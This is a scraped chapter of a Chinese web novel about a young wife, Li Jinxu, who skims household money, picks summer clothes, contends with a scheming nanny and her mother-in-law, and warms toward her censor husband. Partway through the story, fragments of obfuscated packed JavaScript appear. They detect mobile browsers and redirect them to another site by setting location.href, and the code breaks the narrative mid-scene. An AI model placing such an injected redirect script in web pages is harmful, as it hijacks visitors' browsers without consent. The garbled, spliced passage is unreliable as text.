默认冷灰
24号文字
方正启体

6. 第六章

作者:二十天明本书字数:K更新时间:
    李锦絮听到她的讽刺,淡淡道:“那记在人情往来吧。”


    孙嬷嬷道:“不若记在夫人的私用吧。”


    李锦絮懒得同她掰扯这些闲事,道:“随便。”


    她知道,这钱拿个一次两次还好,若拿多了,沈谏渊总是要问的,就算不问,又怕这账目呈到袁氏跟前,袁氏见她一下突然用了这么些钱,有得好说。不如下次偷鸡摸狗,一次取个一小两碎银。


    就像一个人天天在那里扣墙皮,扣得多了,总能扣出一捧墙灰,也不至被那财大气粗的主家人发现。


    她宁愿在背地里面做些手脚,也不想后面被袁氏抓过去盘问。


    李锦絮心里面不动声色想着,又看了一眼孙嬷嬷,道:“郎君最忌讳旁人嚼弄舌根和搬弄是非,自家院子里的事,若捅到旁处,他会不高兴的。”


    这是告诫她,别将这事捅到袁氏那里。


    一开始的时候李锦絮也不知道孙嬷嬷会背地里头说她坏话,后来被她在袁氏那里告过一回状,受了罚,就长些记性了。


    孙嬷嬷听出李锦絮的言下之意,暗自呸了一下,想她拿着鸡毛当令箭,别的本事没有,狐假虎威的本事学得倒是厉害,但沈谏渊那边确实也是没有说些什么,她若搬弄是非,保不准惹他不喜。


    毕竟李锦絮在李家的一年多,虽然不讨婆母欢心,但和这丈夫过得倒是有模有样,他们家的这个小侯爷又是个厉害的主,在都察院中待得多了,净做些审问人的活计,在官场中走了几年,性子比从前更冷,他做事,那是不近人情,比起袁氏,她更怵他一些。


    两人正说着话的时候,外面来了人,丫鬟领着几个婆子过来,李锦絮探头去看,有些面熟。


    认了一下,发现是做衣裳的人来了。


    天气愈发热起来了,现在做了夏装,过些时日送来,刚好赶上夏日就能穿上。


    这做衣裳的是家老字号,做活精细,伺候得人颇为妥帖,唯一不好的就是价钱比别处贵上那么一些,但对沈家来说,这都不是问题,每年的衣裳大多从这家铺子里做。


    前些时日沈谏渊在都察院查知府贪墨一案,听人说江临帝对这案子看重,颇为上心。沈谏渊这个右佥都御史短短一月不到的时日就将事情查了清楚,皇帝高兴,大手一挥就赏了他几匹缎子,是苏州织造的上贡品,上乘的料子。


    刚好,这料子从库房里面拿出来做夏装。


    侍女们将料子从库房里头拿出来让她挑,有匹料子是上好的妆花缎,李锦絮瞧上了,但没敢要,都说寸金换妆花,按照辈分,这料子,家里头只有老夫人,袁氏和沈侯爷先挑的份,老夫人年纪大了,不喜欢这些花哨的样子,那大概只有袁氏穿了。


    李锦絮再喜欢,但也只是多看了几眼,摸了两下,就不再看,其余的都是苏缎,料子一样只是颜色样式不同。


    裁衣婆子们带了几件今年时兴的样衣,男女的都有,让李锦絮挑。


    反正沈谏渊的衣服大多都是那些样式,给他挑什么,他就穿什么,李锦絮随便给他指了几件。


    李锦絮又回忆了一下沈谏渊的身形,道:“身量同从前没差,应当不用再量了。”


    沈谏渊的事糊弄完了,而后她高高兴兴给自己挑漂亮衣裳。


    孙嬷嬷将她的动作看在眼里,忍不住皱眉,没见过这样的人,只顾着自己,丈夫就这样子敷衍。


    她在一旁阴阳怪气道:“我的好奶奶,这料子可是宫里头赏下来的,一刀下去,可值不少的钱呢,做错了如何是好。什么叫做‘应当’啊?我怎瞧着公子这些时日连轴转,身上清减了不少。”


    清减了吗?


    李锦絮回想了一下,脑子里面不禁想起那日夜里,沈谏渊赤.裸的身躯,又想起自己摸着他的臂膀,仍旧是那样健硕,也没觉着他瘦了。


    她不甚在意道:“嬷嬷想多了吧。”


    说着不再管孙嬷嬷叽叽喳喳,自己选自己的衣裳。


    衣服选完了后,她让吉月拿了些赏钱给裁衣婆子,裁衣婆子得了赏,高高兴兴又说了好些好听话。


    *


    袁氏方从施家回来,施兰仪也跟着她一道来了,施夫人这病来得汹涌,一下子在床上躺了许久,久不见好。


    这两姐妹是同父同母所出,袁氏的母亲生不出儿子,不受丈夫喜爱,她们姐妹在家中的时候没少被生了儿子的姨娘踩在头上,姐妹二人相互扶持,当初被人欺负着一起长大,感情之好自是旁人不能相比。


    对自己这个听话懂事的外甥女,袁氏也疼爱非常。


    袁氏牵着施兰仪的手进屋,道:“你娘这病也就是小事,我估摸着过些时日,就能见好,我这里头有上好的人参,一会你带回去,听着医师的话,喂你娘喝些下去。”


    施兰仪面露感激,道:“姨母,母亲的病,多麻烦你了,爹爹对娘不上心,心思全在姨娘的身上,若没有您的照看,我也不知道该怎么办才好了。”


    她这话不说还好,一说起来,袁氏便又想起当年和妹妹的处境,心里头更不是滋味,她道:“一家人不说两家话,我和你娘之间,哪里论得上麻烦不麻烦。”


    两人说着话的时候,小荷从外头进来,知会了袁氏一声,说做衣服的人来了,问她是现在见,还是一会见。


    袁氏想着这料子是宫里头赏的,既施兰仪在,刚好给她做一身回去,同小荷道:“将人带来吧。”


    袁氏挑起了缎子,一眼就看中了那妆花,裁衣婆子笑道:“太太,您回来的晚,方才便先去叫大奶奶挑过,她瞧了好几眼这缎子,可见是喜欢,只是心里头惦记着您呢,特为您留着,没敢选呢。”


    这裁衣婆子方才从茗章院出来,得了一些李锦絮的赏钱。


    小侯爷夫人大方,每回来,都给她赏钱,她方又得了钱,便想给她说着好话。


    袁氏听到婆子的话,不轻不重冷哼了一声,“她也没胆子先选。”


    话是这样说着,表情倒还不算难看。


    袁氏摸了两下妆花缎,“是上好的料子。”


    她扭头,见施兰仪对这料子也看得入神,看得出她是喜欢,便道:“给小仪量一下身形,做件衣服回去。”


    施兰仪马上道:“姨母,这怎么行呢,不合适......”


    袁氏道:“你正要过生辰,送什么礼我也还没想好,既你喜欢这衣裳,当生辰礼带回去可好?也当是你表兄送你的。你们府上有些个狗眼看人低的东西在,这些料子是容行得的赏,他们见了,就当是看在沈家的面子上,也不敢对你们母女不敬。”


    施兰仪道:“姨母,您实在费心。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341115|199329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >袁氏拍了拍她的掌心,道:“不过就是一件衣裳罢了,早都穿腻了,哪有什么费心不费心。”


    *


    今日沈谏渊下值,就见得李锦絮坐在庭中树下做着针线的活计。


    夏日将近,蚊虫渐多,她做几个香囊,装些驱虫的药材在里头,带在身上防蚊。


    裁衣婆子今日带的些香囊,样式她不大喜欢,想着左右在家中无事,便扯了几块布子过来,自己缝制。


    她从前在闺中的时候不爱拿针线,唯一拿针线的几次,磕磕绊绊给傅知恒做了个香囊,只是那时候技艺不大成熟,香囊做得七扭八歪,难看得拿不出手,但她不想多做了,直接将这丑香囊丢给了傅知恒,他爱要不要。


    傅知恒就是个不分好赖的傻子,拿着这丑东西当宝贝。


    嫁进沈家之后,李锦絮渐渐会了许多从前不怎么熟练的东西,不再如同刚开始那样笨手笨脚,什么都做不顺当,她偶尔也会想,或许正如袁氏所说,若是哪天她像姐姐那样能干懂事,她也不至于这样讨人厌了。


    她坐在庭中的桃花树下,夕阳的光斑透过枝干一圈一圈筛在她的身上,少女眉如远黛,春桃拂面,看着比顶上的桃花还要艳一些。


    沈谏渊在衙门中忙了一日,回来之后见得妻子安安生生坐在院中,疲惫也散了一些。


    他上前,从背后环了上去,拿起了她秀筐中的东西看了看,他问道:“怎么突然想着做香囊了?”


    李锦絮不料他这番亲近的动作,身体有一瞬的僵。


    自从先前她在床上主动过两回,两人的关系似一下子再没从前那样疏离。


    李锦絮反应过后,他是自己的丈夫,做这样的动作合情合理。


    她解释道:“夏日到了,我想放些草药在里面驱虫。”


    沈谏渊道:“让下人做便是了,何必亲自动手。”


    她心里头是不喜欢那些香囊的样式,但嘴上却道:“我想亲手给你做点东西,笨手笨脚的,也不会做些什么,只会做这些简单的东西了。”


    她这种人,做了一分的事,能给自己夸出十分,毕竟李锦絮在沈谏渊面前一直老老实实的,他也不知她这人嘴巴素能诓人,听她这样说,似真听到心里去了,他哑然片刻,而后道:“你费心了。”


    夜里,两人躺在床上的时候,李锦絮摸了摸他身上的肌肉。


    他虽没那般健壮,但她这手放在上面,却也被衬得愈发小,她摸来摸去,像是小猫乱踩,沈谏渊没忍住攥住了她的手,问,“乱摸做什么?”


    李锦絮笑眯眯,解释道:“孙嬷嬷今日说你瘦了,我摸着还好,渊郎还是一样的健硕。”


    沈谏渊额间青筋忍不住一跳,问,“你平日就和孙嬷嬷在一起说这些?”


    李锦絮怕他误会,解释道:“那不是的,是做衣裳的人来了,刚好说起来。我便想,她又没摸过你,光看哪知道你瘦没瘦呢。”


    沈谏渊觉得她话有点多了,话一多便不着调......


    他道:“莫要说胡话了,睡吧。”


    “昂,不说了。”李锦絮应着,又往他的身边靠了靠,同他靠得更紧了一些,就像爹娘从前说的,沈谏渊不防备她,她就谢天谢地了,想起傍晚他从身后抱她,她想,沈谏渊如今既然愿意同她亲近,她应该高兴的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)